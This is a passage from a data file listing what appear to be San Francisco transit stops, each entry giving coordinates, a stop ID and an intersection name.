['37.76867,-122.43854', '13817', 'Buena Vista Ave E and Buena Vista Ter'], ['37.7893,-122.41496', '13814', 'Bush St and Leavenworth St'], ['37.788952,-122.40275', '13815', 'Bush St and Montgomery St'], ['37.76773,-122.44021', '13818', 'Buena Vista Ave E and Buena Vista Ter'], ['37.76883,-122.43833', '13819', 'BUENA VISTA TER and BUENA VISTA AVE E'], ['37.718698,-122.485001', '14834', 'Lake Merced Blvd and Higuera Ave'], ['37.71353,-122.41518', '16849', 'Visitacion Ave and Hahn St'], ['37.735273,-122.401065', '16424', 'Silver Ave and Topeka Ave'], ['37.78505,-122.424085', '16425', 'Starr King Way and Gough St'], ['37.751218,-122.450094', '16426', 'Skyview Way and Aquavista Way'], ['37.748925,-122.450449', '16427', 'Skyview Way and City View Way'], ['37.736361,-122.398888', '16420', 'Silver Ave and Revere Ave'], ['37.785434,-122.425082', '14298', 'Geary Blvd and Gough St'], ['37.732411,-122.405947', '16422', 'Silver Ave and San Bruno Ave'], ['37.735335,-122.400664', '16423', 'Silver Ave and Topeka Ave'], ['37.784391,-122.43305', '14295', 'Geary Blvd and Fillmore St'], ['37.783178,-122.439572', '14294', 'Geary Blvd and Divisadero St'], ['37.78557,-122.42289', '14297', 'Geary Blvd and Franklin St'], ['37.784257,-122.433313', '14296', 'Geary Blvd and Fillmore St'], ['37.749942,-122.450335', '16428', 'Skyview Way and Glenview Dr'], ['37.782242,-122.449992', '14290', 'Geary Blvd and Collins St'], ['37.783428,-122.439366', '14293', 'Geary Blvd and Divisadero St'], ['37.781528,-122.455677', '14292', 'Geary Blvd and Commonwealth St'], ['37.786755,-122.398143', '17548', '2nd St and Howard St'], ['37.788282,-122.400068', '17549', '2nd St and Stevenson St'], ['37.79094,-122.399195', '17264', 'Market St and 1st St'], ['37.755387,-122.386867', '17540', 'Not a public stop'], ['37.782498,-122.473077', '17543', 'Clement St and 14 Ave'], ['37.761326,-122.397473', '17544', 'Connecticut St and 19th St'], ['37.748371,-122.458905', '17267', 'Laguna Honda Blvd/opp Forest Hill'], ['37.754705,-122.396572', '17546', 'Dakota St and 23rd St'], ['37.780702,-122.390559', '17547', '2nd St and Townsend St'], ['37.747898,-122.458813', '17266', 'Laguna Honda Blvd/FOREST HILL STA'], ['37.773746,-122.46386', '17261', '6th Ave and Fulton'], ['37.71279,-122.41954', '16565', '1725 Sunnydale Ave'], ['37.748977,-122.467051', '16169', 'Quintara St and Cragmont Ave'], ['37.749093,-122.467681', '16168', 'Quintara St and Cragmont Ave'], ['37.751377,-122.431991', '17263', '24th St and Noe St'], ['37.74763,-122.49763', '16161', 'Quintara St and 39th Ave'], ['37.747765,-122.494399', '16160', 'Quintara St and 36th Ave'], ['37.74754,-122.49981', '16163', 'Quintara St and 41st Ave'], ['37.74768,-122.49952', '16162', 'Quintara St and 41st Ave'], ['37.74742,-122.50304', '16165', 'Quintara St and 44th Ave'], ['37.747575,-122.501938', '16164', 'Quintara St and 43rd Ave'], ['37.74734,-122.507', '16167', 'Quintara St and 48th Ave'], ['37.74743,-122.50487', '16166', 'Quintara St and 46th Ave'], ['37.77251,-122.4838', '14749', 'Fulton St and 25th Ave'], ['37.7726,-122.48452', '14748', 'Fulton St and 25th Ave'], ['37.799324,-122.417511', '16769', 'Union St and Leavenworth St'], ['37.799449,-122.417545', '16768', 'Union St and Leavenworth St'], ['37.77283,-122.47683', '14743', 'Fulton St and 18th Ave'], ['37.772959,-122.476776', '14742', 'Fulton St and 18th Ave'], ['37.77295,-122.47419', '14741', 'Fulton St and 16th Ave'], ['37.77305,-122.47492', '14740', 'Fulton St and 16th Ave'], ['37.77266,-122.48061', '14747', 'Fulton St and 22nd Ave'], ['37.77276,-122.48134', '14746', 'Fulton St and 22nd Ave'], ['37.79912,-122.419151', '16761', 'Union St and Hyde St'], ['37.77286,-122.47917', '14744', 'Fulton St and 20th Ave'], ['37.729733,-122.383578', '15869', 'Palou Ave and Ingalls St'], ['37.72942,-122.38273', '15868', 'Palou Ave and Ingalls St'], ['37.7471,-122.41349', '14697', 'Folsom St and Precita Ave'], ['37.727982,-122.380189', '15865', 'Palou Ave and Crespi Dr'], ['37.733814,-122.390768', '15864', 'Palou Ave and 3rd St'], ['37.739529,-122.400547', '15867', 'Palou Ave and Industrial St'], ['37.728679,-122.381425', '15866', 'Palou Ave and Hawes St'], ['37.77403,-122.422524', '15861', 'Page St and Gough St'], ['37.77419,-122.42096', '15860', 'Page St and Franklin St'], ['37.734019,-122.390825', '15863', 'Palou Ave and 3rd St'], ['37.773811,-122.42417', '15862', 'Page St and Octavia St'], ['37.767261,-122.446691', '14715', 'Frederick St and Ashbury St'], ['37.76582,-122.4428', '16796', 'Upper Ter and Buena Vista Ave West'], ['37.767145,-122.446462', '14716', 'Frederick St and Ashbury St'], ['37.712457,-122.437347', '15474', 'Naples St and Athens St'], ['37.7671,-122.447917', '14717', 'Frederick St and Clayton St'], ['37.73579,-122.41364', '14696', 'Folsom St and Ogden St'], ['37.801091,-122.436229', '14608', 'Fillmore St and Chestnut St'], ['37.800891,-122.436469', '14609', 'Fillmore St and Chestnut St'], ['37.804423,-122.437127', '14606', 'Fillmore St and Beach St'], ['37.804447,-122.436958', '14607', 'Fillmore St and Beach St'], ['37.794158,-122.434842', '14604', 'Fillmore St and Broadway'], ['37.793805,-122.434878', '14605', 'Fillmore St and Broadway'], ['37.83166,-122.52345', '14602', 'FIELD RD/Youth Hostel'], ['37.8024,-122.436517', '14603', 'Fillmore St and Bay St'], ['37.831337,-122.523264', '14600', 'Field Rd and Bunker Rd'], ['37.82906,-122.52767', '14601', 'FIELD RD/Nike Site'], ['37.735368,-122.502777', '16451', 'Sloat Blvd and 45th Ave'], ['37.76545,-122.44338', '16797', 'Upper Ter and Masonic Ave'], ['37.75075,-122.44166', '14713', 'Fountain St and 24th St'], ['37.735528,-122.505354', '16453', 'Sloat Blvd and 47th Ave'], ['37.77347,-122.399436', '16699', 'Townsend St and 6th St'], ['37.773675,-122.399424', '16698', 'Townsend St and 6th St'], ['37.779888,-122.509905', '16133', 'Point Lobos Ave and El Camino Del Mar'], ['37.77742,-122.39443', '16693', 'Townsend St and 4th St'], ['37.778723,-122.393037', '16692', 'Townsend St and 3rd St'], ['37.778981,-122.392452', '16691', 'Townsend St and 3rd St'], ['37.741073,-122.401565', '16690', 'Toland St and Oakdale Ave'], ['37.775227,-122.397211', '16697', 'Townsend St and 5th St'], ['37.775432,-122.3972', '16696', 'Townsend St and 5th St'], ['37.777028,-122.395032', '16695', 'Townsend St and 4th St'], ['37.777189,-122.394975', '16694', 'Townsend St and 4th St'], ['37.74093,-122.46565', '16901', 'West Portal Station'], ['37.73888,-122.4133', '14687', 'Folsom St and Cortland Ave'], ['37.74007,-122.41131', '15769', 'Nevada St and Cortland Ave'], ['37.766208,-122.454908', '14719', 'Frederick St and Willard St'], ['37.734911,-122.411283', '14202', 'Crescent Ave and Putnam St'], ['37.724717,-122.434654', '13761', 'Brazil Ave and Mission St'], ['37.735055,-122.418626', '14203', 'Crescent Ave and Roscoe St'], ['37.786735,-122.392171', '17830', 'HARRISON and FREMONT'], ['37.791895,-122.398415', '17831', 'Front and Market St'], ['37.79151,-122.395469', '17832', 'Mission St and Main'], ['37.793766,-122.393725', '17833', 'Steuart and Donchee Way'], ['37.734895,-122.418214', '14200', 'Crescent Ave and Porter St'], ['37.711714,-122.418876', '16341', 'Santos St and Brookdale Ave'], ['37.711857,-122.418681', '16340', 'Santos St and Brookdale Ave'], ['37.800605,-122.39892', '14518', 'The Embarcadero and Green St'], ['37.792686,-122.391146', '14519', 'The Embarcadero and Howard St'], ['37.709867,-122.4193', '16345', 'Santos St and Velasco Ave'], ['37.7085,-122.42008', '16344', 'Santos St and Geneva Ave'], ['37.720524,-122.446657', '16347', 'San Jose Ave and Geneva Ave'], ['37.710028,-122.419426', '16346', 'Santos St and Velasco Ave'], ['37.71479,-122.40057', '16349', '3800 San Bruno Ave'], ['37.795105,-122.393861', '14513', 'THE EMBARCADERO/Ferry Building'], ['37.790749,-122.389841', '14510', 'The Embarcadero and Folsom St'], ['37.790561,-122.389898', '14511', 'The Embarcadero and Folsom St'], ['37.80296,-122.401029', '14516', 'The Embarcadero and Greenwich St'], ['37.801264,-122.399369', '14517', 'The Embarcadero and Green St'], ['37.803263,-122.401113', '14515', 'The Embarcadero and Greenwich St'], ['37.767466,-122.402912', '16187', 'Rhode Island St and 15th St'], ['37.75617,-122.401842', '16186', '176 Rhode Island St'], ['37.72979,-122.3954', '16185', 'Reddy St and Williams Ave'], ['37.73098,-122.39504', '16184', 'Reddy St and Thornton Ave'], ['37.7478,-122.45466', '16183', 'LAGUNA HONDA Hospital/E Parkng Lot'], ['37.800328,-122.446954', '16182', 'Richardson Ave and Francisco St'], ['37.800408,-122.447447', '16181', 'Richardson Ave and Francisco St'], ['37.72876,-122.36559', '16180', 'ROBINSON ST/Bldg 152'], ['37.755402,-122.461312', '16908', '345 Warren Dr E'], ['37.766324,-122.402627', '16189', 'Rhode Island St and 16th St'], ['37.767315,-122.402729', '16188', 'Rhode Island St and 15th St'], ['37.73298,-122.38479', '15289', 'La Salle Ave and Newcomb Ave'], ['37.73077,-122.3814', '15288', 'La Salle Ave and Ingalls St'], ['37.80037,-122.43121', '15281', 'Lombard St and Laguna St'], ['37.80057,-122.43101', '15280', 'Lombard St and Laguna St'], ['37.798418,-122.447137', '15283', 'Lombard St and Lyon St'], ['37.798543,-122.44716', '15282', 'Lombard St and Lyon St'], ['37.799542,-122.439192', '15285', 'Lombard St and Pierce St'], ['37.799292,-122.439421', '15284', 'Lombard St and Pierce St'], ['37.71618,-122.4402', '15287', 'London St and Geneva Ave'], ['37.80328,-122.40963', '15286', 'Lombard St and Stockton St'], ['37.716711,-122.476033', '17236', 'FONT BLVD and GONZALEZ DR'], ['37.724123,-122.485164', '17237', 'LAKE MERCED BLVD and Font DR'], ['37.825033,-122.530266', '17234', 'BATTERY Alexander/FIELD RD'], ['37.777278,-122.394631', '17235', 'TOWNSEND ST and 4TH ST'], ['37.738239,-122.413241', '17232', 'Folsom St and JARBOE AVE'], ['37.738257,-122.41347', '17233', 'FOLSOM ST and JARBOE AVE'], ['37.739,-122.38654', '15049', 'Hudson Ave and Mendell St'], ['37.73896,-122.38628', '15048', 'Hudson Ave and Mendell St'], ['37.73759,-122.38416', '15047', 'Hudson Ave and Keith St'], ['37.7377,-122.38412', '15046', 'Hudson Ave and Keith St'], ['37.73239,-122.379692', '15045', 'Hudson Ave and Ingalls St'], ['37.732497,-122.37991', '15044', 'Hudson Ave and Ingalls St'], ['37.73596,-122.38353', '15043', 'Hudson Ave and Cashmere St'], ['37.73469,-122.38305', '15042', 'Hudson Ave and Ardath Ct'], ['37.740309,-122.388701', '15041', 'Hudson Ave and 3rd St'], ['37.72063,-122.4511', '15040', 'Howth St and Niagra Ave'], ['37.747123,-122.403509', '13782', 'Bay Shore Blvd and Jerrold Ave'], ['37.711138,-122.403783', '13783', 'Bay Shore Blvd and Leland Ave'], ['37.71497,-122.39898', '13780', 'Bay Shore Blvd and Hester Ave'], ['37.713546,-122.400071', '13781', 'Bay Shore Blvd and Hester Ave'], ['37.74288,-122.40519', '13786', 'Bay Shore Blvd and Oakdale Ave'], ['37.738701,-122.406894', '13784', 'Bay Shore Blvd and Marengo St'], ['37.74332,-122.40523', '13785', 'Bay Shore Blvd and Oakdale Ave'], ['37.733213,-122.40472', '13788', 'Bay Shore Blvd and Silver Ave'], ['37.732963,-122.404789', '13789', 'Bay Shore Blvd and Silver Ave'], ['37.776893,-122.423326', '14996', 'Hayes St and Gough St'], ['37.777709,-122.416852', '14997', 'Hayes St and Larkin St'], ['37.775804,-122.430834', '14994', 'Hayes St and Fillmore St'], ['37.777099,-122.421667', '14995', 'Hayes St and Franklin St'], ['37.775,-122.437405', '14992', 'Hayes St and Divisadero St'], ['37.775838,-122.431561', '14993', 'Hayes St and Fillmore St'], ['37.773251,-122.451098', '14990', 'Hayes St and Cole St'], ['37.774992,-122.438181', '14991', 'Hayes St and Divisadero St'], ['37.761952,-122.445213', '16235', 'Roosevelt Way and 17th St'], ['37.76197,-122.445373', '16234', 'Roosevelt Way and 17th St'], ['37.76373,-122.44301', '16237', 'Roosevelt Way and Clifford Ter'], ['37.76373,-122.44291', '16236', 'Roosevelt Way and Clifford Ter'], ['37.764495,-122.443138', '16231', '415 Roosevelt Way'], ['37.764495,-122.443299', '16230', '414 Roosevelt Way'], ['37.77653,-122.426146', '14998', 'Hayes St and Laguna St'], ['37.774427,-122.442634', '14999', 'Hayes St and Lyon St'], ['37.734307,-122.471675', '15141', 'Junipero Serra Blvd and Sloat Blvd'], ['37.713178,-122.462331', '13717', 'Broad St and Orizaba Ave'], ['37.789805,-122.394289', '13088', 'Beale St and Howard St'], ['37.74306,-122.40932', '13710', 'Bradford St and Esmeralda Ave'], ['37.76751,-122.43327', '13258', '14th St and Noe St'], ['37.7674,-122.43356', '13259', '14th St and Noe St'], ['37.709306,-122.423217', '17300', 'Geneva Ave&Carter St'], ['37.78585,-122.41198', '17301', "O'Farrell St&Taylor St"], ['37.738091,-122.469042', '17306', 'West Portal Ave and 14th Ave'], ['37.740038,-122.450541', '17307', 'Myra Way and Reposa Way'], ['37.709083,-122.423102', '17304', 'Geneva Ave&Carter St'], ['37.784386,-122.408599', '17305', 'Eddy St and Cyril Magnin St'], ['37.74317,-122.47017', '13250', '14th Ave and Taraval St'], ['37.7416,-122.47004', '13251', '14th Ave and Ulloa St'], ['37.74153,-122.47018', '13252', '14th Ave and Ulloa St'], ['37.767296,-122.437213', '13253', '14th St and Alpine Ter'], ['37.767768,-122.429088', '13254', '14th St and Church St'], ['37.76767,-122.42913', '13255', '14th St and Church St'], ['37.76738,-122.43584', '13256', '14th St and Castro St'], ['37.76728,-122.43578', '13257', '14th St and Castro St'], ['37.791721,-122.419531', '16303', 'Sacramento St and Larkin St'], ['37.742775,-122.396936', '15182', 'Jerrold Ave and Selby St'], ['37.77876,-122.44716', '15719', 'Masonic Ave and Turk St'], ['37.782645,-122.406479', '15183', 'Jessie St and 5th St'], ['37.72052,-122.42616', '13767', 'Brazil Ave and Prague St'], ['37.741704,-122.394691', '15180', 'Jerrold Ave and Rankin St'], ['37.72862,-122.4313', '15620', 'Mission St and Silver Ave'], ['37.71156,-122.40792', '17045', 'Rutland St and Visitacion Ave'], ['37.806168,-122.417405', '15460', 'North Point St and Jones St'], ['37.761388,-122.425927', '13331', '18th St and Dolores St'], ['37.71135,-122.40793', '17046', 'Rutland St and Visitacion Ave'], ['37.762874,-122.390848', '13337', '18th St and Minnesota St'], ['37.760488,-122.440778', '13336', '18th St and Hattie St'], ['37.71264,-122.40735', '17043', 'Rutland St and Leland Ave'], ['37.71516,-122.40621', '17042', 'Rutland St and Campbell Ave'], ['37.805241,-122.423494', '15469', 'North Point St and Polk St'], ['37.78781,-122.41344', '15186', 'Jones St and Post St'], ['37.759792,-122.444445', '13339', '18th St and Market St'], ['37.761895,-122.419509', '13338', '18th St and Mission St'], ['37.72904,-122.44003', '17049', 'San Jose Ave and Santa Rosa Ave'], ['37.72282,-122.44474', '17048', 'San Jose Ave and Ocean Ave'], ['37.773478,-122.46598', '13202', '8th Ave and Fulton St'], ['37.806732,-122.472111', '15267', '957 Lincoln Blvd'], ['37.806928,-122.472237', '15266', '957 Lincoln Blvd'], ['37.80158,-122.45632', '15265', 'Lincoln Blvd and Graham St'], ['37.801789,-122.469059', '15264', 'Lincoln Blvd and Cowles St'], ['37.788393,-122.482457', '15263', 'Lincoln Blvd and Bowley St'], ['37.807248,-122.417366', '15184', 'Jones St and Beach St'], ['37.781653,-122.494615', '15261', 'Legion Of Honor Dr and Clement St'], ['37.776752,-122.42627', '15260', 'Laguna St and Hayes St'], ['37.78686,-122.41325', '15185', 'Jones St and Geary Blvd'], ['37.792088,-122.480968', '15269', 'Lincoln Blvd and Pershing Dr'], ['37.80101,-122.45473', '15268', 'Lincoln Blvd and Halleck St'], ['37.71612,-122.41374', '17057', 'Visitacion Valley Middle School'], ['37.762978,-122.446805', '13659', 'Ashbury St and Clayton St'], ['37.73531,-122.46055', '16989', 'Yerba Buena Ave and Ravenwood Dr'], ['37.734389,-122.459705', '16988', 'Yerba Buena Ave and Hazelwood Ave'], ['37.734559,-122.459659', '16987', 'Yerba Buena Ave and Hazelwood Ave'], ['37.733702,-122.459189', '16986', 'Yerba Buena Ave and Brentwood Ave'], ['37.733604,-122.45896', '16985', 'Yerba Buena Ave and Brentwood Ave'], ['37.77235,-122.484077', '16984', 'Cross Over Dr and Fulton St'], ['37.82,-12.24', '11124', 'REFERENCE and REFERENCE'], ['37.733337,-122.383322', '16982', 'Whitney Young Cir and Progress St'], ['37.738903,-122.427491', '16981', 'Whitney St and Fairmount Street'], ['37.72271,-122.41238', '16980', 'Woolsey St and University St'], ['37.77275,-122.47846', '14745', 'Fulton St and 20th Ave'], ['37.712217,-122.402603', '13655', 'Arleta Ave and Bay Shore Blvd'], ['37.77931,-122.40205', '13169', '5th St and Harrison St'], ['37.75599,-122.47642', '13373', '19th Ave and Moraga St'], ['37.80055,-122.40151', '13029', 'Battery St and Green St'], ['37.802978,-122.402019', '13028', 'Battery St and Greenwich St'], ['37.80216,-122.40184', '13026', 'Battery St and Filbert St'], ['37.798311,-122.401093', '13025', 'Battery St and Broadway'], ['37.797606,-122.445693', '13024', 'Baker St and Greenwich St'], ['37.790249,-122.482263', '13023', 'BOWLEY ST and GIBSON RD'], ['37.730312,-122.439532', '13022', 'Baden St and Circular Ave'], ['37.72654,-122.40766', '13021', 'Bacon St and Somerset St'], ['37.72667,-122.40746', '13020', 'Bacon St and Somerset St'], ['37.793704,-122.393702', '16496', 'Steuart St and Mission St'], ['37.720613,-122.446577', '11015', 'SAN JOSE AVE and GENEVA AVE'], ['37.781348,-122.432431', '14476', 'Eddy St and Fillmore St'], ['37.72007,-122.46012', '14909', 'Grafton Ave and Faxon Ave'], ['37.735423,-122.424457', '14198', 'Crescent Ave and Mission St'], ['37.735136,-122.420127', '14199', 'Crescent Ave and Murray St'], ['37.73467,-122.413804', '14196', 'Crescent Ave and Folsom St'], ['37.735244,-122.422567', '14197', 'Crescent Ave and Leese St'], ['37.734804,-122.413586', '14195', 'Crescent Ave and Folsom St'], ['37.735253,-122.424056', '14192', 'Crescent Ave and College Ave'], ['37.734867,-122.414834', '14193', 'Crescent Ave and Ellsworth St'], ['37.734832,-122.416942', '14190', 'Crescent Ave and Andover St'], ['37.734966,-122.419726', '14191', 'Crescent Ave and Arnold Ave'], ['37.793494,-122.396127', '15670', 'Market St and Drumm St'], ['37.79192,-122.39815', '15671', 'Market St and Front St'], ['37.773269,-122.421768', '15672', 'Market St and Gough St'], ['37.772875,-122.421991', '15673', 'Market St and Gough St'], ['37.758017,-122.400867', '14358', 'De Haro St and Southern Heights Ave'], ['37.74693,-122.4402', '14359', '5157 Diamond Heights Blvd'], ['37.779105,-122.414379', '15676', 'Market St and Hyde St'], ['37.78764,-122.40342', '15677', 'Market St and Kearny St'], ['37.759667,-122.401026', '14354', 'De Haro St and 20th St'], ['37.757437,-122.400822', '14355', 'De Haro St and 22nd St'], ['37.754885,-122.400571', '14356', 'De Haro St and 23rd St'], ['37.763504,-122.401368', '14357', 'De Haro St and Mariposa St'], ['37.766056,-122.40163', '14350', 'De Haro St and 16th St'], ['37.764762,-122.401516', '14351', 'De Haro St and 17th St'], ['37.76221,-122.401243', '14352', 'De Haro St and 18th St'], ['37.760934,-122.401117', '14353', 'De Haro St and 19th St'], ['37.731837,-122.431319', '16509', 'Still St and Lyell St'], ['37.734709,-122.469797', '16508', 'Saint Francis Blvd and San Fernando Way'], ['37.791929,-122.421057', '16000', 'Polk St and Sacramento St'], ['37.734807,-122.471618', '16503', 'West Portal/Sloat/St Francis Circle'], ['37.735021,-122.471252', '16502', 'West Portal/Sloat/St Francis Circle'], ['37.794427,-122.39455', '16501', 'Steuart St and Market St'], ['37.79336,-122.39349', '16500', 'Steuart St and Mission St'], ['37.734861,-122.469579', '16507', 'Saint Francis Blvd and San Fernando Way'], ['37.73479,-122.468067', '16506', 'Saint Francis Blvd and Santa Ana Ave'], ['37.734941,-122.467849', '16505', 'Saint Francis Blvd and Santa Ana Ave'], ['37.734861,-122.46636', '16504', 'Saint Francis Blvd and Santa Clara Ave'], ['37.74687,-122.41362', '14686', 'Folsom St and Bessie St'], ['37.75546,-122.414481', '14676', 'Folsom St and 22nd St'], ['37.776894,-122.394895', '13164', '4TH ST and TOWNSEND ST'], ['37.755951,-122.414332', '14675', 'Folsom St and 22nd St'], ['37.758815,-122.414606', '14674', 'Folsom St and 20th St'], ['37.8318,-122.51495', '13809', 'BUNKER RD/Stables'], ['37.83296,-122.50872', '13808', 'BUNKER RD/Rifle Range'], ['37.805785,-122.42049', '1741', 'HYDE STREET TURNABLE OUT OB'], ['37.832584,-122.527246', '13805', 'BUNKER RD/Miwok Trail'], ['37.83142,-122.52323', '13804', 'Bunker Rd and Field Rd'], ['37.83302,-122.50882', '13807', 'BUNKER RD/Rifle Range'], ['37.832477,-122.5272', '13806', 'BUNKER RD/Miwok Trail'], ['37.72691,-122.48004', '13801', '280 Buckingham Way'], ['37.72587,-122.47879', '13800', '190 Buckingham Way'], ['37.72803,-122.47913', '13803', 'Buckingham Way and Winston Dr'], ['37.72717,-122.48005', '13802', '281 Buckingham Way'], ['37.72007,-122.45498', '14907', 'Grafton Ave and Brighton Ave'], ['37.74897,-122.44396', '16009', '120 Portola Dr'], ['37.734752,-122.47738', '16437', 'Sloat Blvd and 21st Ave'], ['37.734494,-122.475272', '16436', 'Sloat Blvd and 19th Ave'], ['37.73478,-122.474493', '16435', 'Sloat Blvd and 19th Ave'], ['37.733595,-122.496842', '16434', 'Skyline Blvd and Sloat Blvd'], ['37.77754,-122.446908', '15708', 'Masonic Ave and Golden Gate Ave'], ['37.78213,-122.44728', '15709', 'Masonic Ave and Geary Blvd'], ['37.726392,-122.502449', '16431', 'Skyline Blvd and Harding Rd'], ['37.726758,-122.50253', '16430', 'Skyline Blvd and Harding Rd'], ['37.767511,-122.444846', '15704', 'Masonic Ave and Frederick St'], ['37.7759,-122.44658', '15705', 'Masonic Ave and Fulton St'], ['37.77571,-122.44636', '15706', 'Masonic Ave and Fulton St'], ['37.77757,-122.44674', '15707', 'Masonic Ave and Golden Gate Ave'], ['37.71669,-122.43113', '15700', 'Moscow St and France Ave'], ['37.71331,-122.43366', '15701', 'Moscow St and Geneva Ave'], ['37.71513,-122.4323', '15702', 'Moscow St and Italy Ave'], ['37.719823,-122.42876', '15703', 'Moscow St and Persia Ave'], ['37.825468,-122.376302', '17559', 'Avenue B and 12th St'], ['37.828311,-122.371964', '17558', 'Avenue H and 13th St'], ['37.792743,-122.432807', '17553', 'Jackson St and Webster St'], ['37.748376,-122.413579', '17552', 'Folsom St and Cesar Chavez St'], ['37.7481,-122.418082', '17551', 'Cesar Chavez St and Mission St'], ['37.790352,-122.400502', '17550', 'Sansome St and Sutter St'], ['37.825232,-122.369914', '17557', 'Avenue H and 9th St'], ['37.822375,-122.367968', '17556', 'Avenue H and 5th St'], ['37.820001,-122.36633', '17555', 'Avenue H and California St'], ['37.706613,-122.459196', '17554', 'Mission St and Flournoy'], ['37.74811,-122.41359', '14685', 'Folsom St and Cesar Chavez St'], ['37.806668,-122.475872', '14776', 'Golden Gate Br Tunnel/Merchant Rd'], ['37.806571,-122.475046', '14777', 'GOLDEN GATE BRIDGE/TOLL PLAZA'], ['37.807463,-122.474897', '14774', 'Golden Gate Bridge/Parking Lot'], ['37.80608,-122.475585', '14775', 'Golden Gate Br Tunnel/Merchant Rd'], ['37.770534,-122.468925', '14772', 'TEA GARDEN DR/DeYoung Museum'], ['37.807561,-122.475024', '14773', 'Golden Gate Bridge/Parking Lot'], ['37.784489,-122.431353', '14770', 'Geary Blvd and Webster St'], ['37.770436,-122.466151', '14771', 'CONCOURSE DR/Academy of Sciences'], ['37.786351,-122.416611', '14299', 'Geary Blvd and Hyde St'], ['37.758668,-122.445866', '14076', 'Clayton St and Corbett Ave'], ['37.807231,-122.475241', '14778', 'GOLDEN GATE BRIDGE/TOLL PLAZA'], ['37.767879,-122.510284', '14779', 'GREAT HWY/near Beach Chalet'], ['37.761202,-122.444044', '14174', 'Corbett Ave and Danvers St'], ['37.761327,-122.444078', '14175', 'Corbett Ave and Danvers St'], ['37.76208,-122.43962', '14176', 'Corbett Ave and Douglass St'], ['37.75641,-122.44328', '14177', 'Corbett Ave and Graystone Ter'], ['37.751682,-122.443712', '14170', '956 Corbett Ave'], ['37.75894,-122.44614', '14171', 'Corbett Ave and Clayton St'], ['37.758659,-122.4459', '14172', 'Corbett Ave and Clayton St'], ['37.75085,-122.44396', '14173', 'Corbett Ave and Cuesta Ct'], ['37.796321,-122.44199', '16752', 'Union St and Divisadero St'], ['37.79617,-122.442184', '16753', 'Union St and Divisadero St'], ['37.800411,-122.409932', '16750', 'Union St and Columbus Ave'], ['37.800197,-122.410643', '16751', 'Union St and Columbus Ave'], ['37.756446,-122.443425', '14178', 'Corbett Ave and Graystone Ter'], ['37.761711,-122.441122', '14179', 'Corbett Ave and Hattie St'], ['37.797124,-122.435661', '16754', 'Union St and Fillmore St'], ['37.797043,-122.435328', '16755', 'Union St and Fillmore St'], ['37.784657,-122.421415', '15818', "O'Farrell St and Van Ness Ave"], ['37.83592,-122.48383', '15819', 'US101 Offramp/Sausalito Lateral Rd'], ['37.778771,-122.447', '15718', 'Masonic Ave and Turk St'], ['37.786642,-122.405629', '15810', "O'Farrell St and Grant Ave"], ['37.785369,-122.415774', '15811', "O'Farrell St and Hyde St"], ['37.7858,-122.41252', '15812', "O'Farrell St and Jones St"], ['37.785093,-122.417998', '15813', "O'Farrell St and Larkin St"], ['37.785538,-122.414445', '15814', "O'Farrell St and Leavenworth St"], ['37.78604,-122.41065', '15815', "O'Farrell St and Mason St"], ['37.78496,-122.41916', '15816', "O'Farrell St and Polk St"], ['37.786331,-122.408128', '15817', "O'Farrell St and Powell St"], ['37.712948,-122.43303', '14888', 'Geneva Ave and Munich St'], ['37.733895,-122.390905', '17173', 'Third Street at Palou Ave SE'], ['37.713332,-122.433957', '14889', 'Geneva Ave and Moscow St'], ['37.782028,-122.449911', '14291', 'Geary Blvd and Collins St'], ['37.708801,-122.40525', '17172', 'SUNNYDALE AVE and BAYSHORE BLVD'], ['37.728222,-122.501695', '16429', 'Skyline Blvd and Zoo Rd'], ['37.772199,-122.430537', '14618', 'Fillmore St and Haight St'], ['37.70897,-122.405113', '17396', 'Bay Shore Blvd and Sunnydale Ave'], ['37.781733,-122.432329', '14611', 'Fillmore St and Eddy St'], ['37.802817,-122.436806', '14610', 'Fillmore St and Cervantes Blvd'], ['37.779859,-122.431955', '14613', 'Fillmore St and Golden Gate Ave'], ['37.781523,-122.432401', '14612', 'Fillmore St and Eddy St'], ['37.783984,-122.43291', '14615', 'Fillmore St and Geary Blvd'], ['37.784733,-122.432921', '14614', 'Fillmore St and Geary Blvd'], ['37.776859,-122.431472', '14617', 'Fillmore St and Grove St'], ['37.776998,-122.431369', '14616', 'Fillmore St and Grove St'], ['37.806901,-122.421108', '15063', 'Hyde St and Beach St'], ['37.79358,-122.42621', '15149', 'Jackson St and Gough St'], ['37.805108,-122.425409', '16820', 'Van Ness Ave and North Point St'], ['37.794442,-122.411529', '16925', 'Washington St and Mason St'], ['37.72762,-122.45229', '15924', 'Phelan Ave and Judson Ave'], ['37.727867,-122.452453', '15925', 'Phelan Ave and Judson Ave'], ['37.723468,-122.452648', '15926', 'PHELAN LOOP'], ['37.72354,-122.452648', '15927', 'PHELAN LOOP'], ['37.718961,-122.427062', '15920', 'Persia Ave and Prague St'], ['37.718934,-122.427348', '15921', 'Persia Ave and Prague St'], ['37.7241,-122.45226', '15922', 'PHELAN AVE/CCSF (South Entrance)'], ['37.72385,-122.45243', '15923', 'PHELAN AVE/CCSF (South Entrance)'], ['37.726038,-122.45227', '15928', 'PHELAN AVE/CCSF (North Entrance)'], ['37.725539,-122.45243', '15929', 'PHELAN AVE/CCSF (North Entrance)'], ['37.715143,-122.438034', '14884', 'Geneva Ave and Madrid St'], ['37.716714,-122.44108', '14885', 'Geneva Ave and Mission St'], ['37.798901,-122.397434', '14504', 'THE EMBARCADERO and BROADWAY'], ['37.80519,-122.40377', '14507', 'The Embarcadero and Chestnut St'], ['37.784359,-122.388138', '14506', 'The Embarcadero and Brannan St'], ['37.806945,-122.406278', '14501', 'The Embarcadero and Bay St'], ['37.799552,-122.397869', '14503', 'THE EMBARCADERO and BROADWAY'], ['37.806629,-122.40603', '14502', 'The Embarcadero and Bay St'], ['37.784065,-122.409287', '17823', 'MASON ST and EDDY ST'], ['37.769499,-122.430027', '17822', 'Fillmore St and Deboce Ave temp bus terminal'], ['37.728029,-122.404998', '17821', 'Burrows St and Girard St M.L. King School'], ['37.711573,-122.467145', '17820', 'Arch St&Alemany St'], ['37.790481,-122.389692', '14509', 'The Embarcadero and Folsom St'], ['37.791079,-122.390104', '14508', 'The Embarcadero and Folsom St'], ['37.784291,-122.39505', '17825', '2nd ST and Harrison St'], ['37.783913,-122.409344', '17824', 'Mason and Turk'], ['37.73734,-122.47515', '13401', '19th Ave and Wawona St'], ['37.77406,-122.446049', '15714', 'Masonic Ave and Hayes St'], ['37.727017,-122.474937', '13403', '19th Ave and Winston Dr'], ['37.754678,-122.396779', '17545', '23rd St and Dakota St'], ['37.764131,-122.510052', '15328', 'Lincoln Way and Great Hwy'], ['37.738182,-122.450712', '15450', '555 Myra Way'], ['37.72719,-122.47468', '13402', '19th Ave and Winston Dr'], ['37.7382,-122.450884', '15451', '555 Myra Way'], 